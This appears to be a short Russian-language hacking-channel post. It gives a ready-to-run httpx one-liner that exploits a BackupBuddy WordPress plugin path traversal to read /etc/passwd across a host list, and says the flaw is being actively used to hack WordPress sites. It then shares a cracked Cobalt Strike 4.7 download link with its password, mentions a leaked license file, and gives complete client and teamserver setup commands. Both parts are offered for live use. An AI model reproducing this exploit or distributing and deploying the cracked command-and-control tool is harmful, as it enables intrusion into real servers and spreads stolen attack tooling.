Эффект пентестера

Wordpress vuln\CVE plugin: BackupBuddy cat hosts |httpx -title -path "/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd" -match-string "root:x:0:0" Уже неделю активно используется для похека wordpress хостов

Cobalt Strike 4.7 by uCare (custom license) Download: https://mega.nz/file/nxkglKyT#NtabGLxmW_s17mGYK_CPOv7foVxAcPRMCdkMtAMMb-I Pass: uCare@Pwn3rzs Since all the fuss around me (h0nus) selling it, all kind of shit and misinformation spread around, we are releasing it for free. This is the XSS vulnerable one, so patch it your own way or use a Reverse Proxy or whatever. Cheers. - h

4.6.1 official jar + the auth file leaked by zdl (scammers can be good for something, thanks guys), so this is working. I'll do the security patch and dark mode if someone doesn't beat me to it no time at the moment. CLIENT (linux, windows, whatever)

java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike-client.jar 

TEAMSERVER (linux only)

sudo apt-get install openjdk-11-jdk
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
./TeamServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 teamserver YOURIPADDRESS PASSWORD